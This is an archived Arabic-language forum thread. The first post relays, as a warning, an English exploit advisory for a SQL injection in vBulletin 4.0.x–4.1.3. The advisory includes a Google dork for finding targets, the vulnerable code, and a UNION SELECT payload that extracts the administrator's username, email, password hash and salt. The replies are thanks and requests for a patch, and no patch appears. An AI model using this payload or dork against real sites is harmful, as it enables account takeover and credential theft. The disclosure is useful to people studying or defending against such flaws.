مشاهدة النسخة كاملة : تنبيه : Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection


Dr Ahmed
2011-07-23, 04:06 PM
السلام عليكم ورحمه الله وبركاته.
بسم الله الرحمن الرحيم.
كل عام وانتم بخير ومبارك علينا وعليكم الشهر الكريم .

اليوم خلال تصفحي حصلت على هذه الثغرة

كود الثغرة .:

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S
# Software Link: [http://www.vbulletin.com/] (http://www.vbulletin.com/%5D)
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : []Please Log In (http://members.vbulletin.com/)

############################################################ ##########################################
Vulnerability:
############################################################ ##########################################

Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.

############################################################ #########################################
Vulnerable Code:
############################################################ #########################################

File: /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid




if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

{

$value = $registry->GPC['messagegroupid'];

if (!is_array($value))

{

$value = array($value);

}



if (!(in_array(' ',$value) OR in_array('',$value)))

{

if ($rst = $vbulletin->db->query_read("

SELECT socialgroup.name

FROM " . TABLE_PREFIX."socialgroup AS socialgroup

---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")


}



############################################################ ################################
Exploitation:
############################################################ ################################
Post data on: -->search.php?search_type=1
--> Search Single Content Type

Keywords : Valid Group Message

Search Type : Group Messages

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

############################################################ ##############################
More Details:
############################################################ ##############################
Http://www.Garage4Hackers.com (http://www.garage4hackers.com/)
Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day (http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-%28messagegroupid%29-SQL-injection-Vulnerability-0-day)


############################################################ ###############################
Note:
############################################################ ###############################

Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode (http://www.1337day.com/exploits/16548)

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day (http://www.exploit-db.com/exploits/17555/)

ولهذا وٌجبَ التنبيــه .

hassanlab
2011-07-23, 04:37 PM
اذا لم نتعلم منك ..فمن من نتعلم !
ممكن شرح حتى تكتمل الصورة بالنسبة لى
شكرا لك

ASD 2006
2011-08-13, 02:55 AM
ماهو ترقيع الثغرة ؟؟

a3shg
2011-08-17, 11:20 AM
آششكرك على التنبيـه ..

elb7a
2011-08-26, 06:00 AM
شكرا جدا

ممكن شرح ترقيع الثغرة ؟

سكون
2011-08-27, 09:39 PM
لآهنت يالغلا

ودي لك ~

dr.x
2011-08-28, 08:38 PM
السلام عليكم

ما الترقيع لها؟

الصقر الجارح
2011-10-10, 05:19 AM
شكرا جزيلا

وفاء نادر
2011-12-05, 11:21 PM
http://www.support-ar.com/vb/image.php?u=2&dateline=1239437601 (http://www.support-ar.com/vb/member.php?u=2)

يعطيك العافية يالغلا
جد مميز بكل شيء شكرا لحضرتك وشكراً للدعم العربي الذي علمني الكثير وما زلت اتعلم من هذا المعهد الكبير

محمد الجنابي
2012-05-08, 09:43 PM
مايستروا الـVbulletin من العيــار الثقيل :icon30:
باركـ الله فيك ياغالي,أقول شوف الدعاء بالـ+++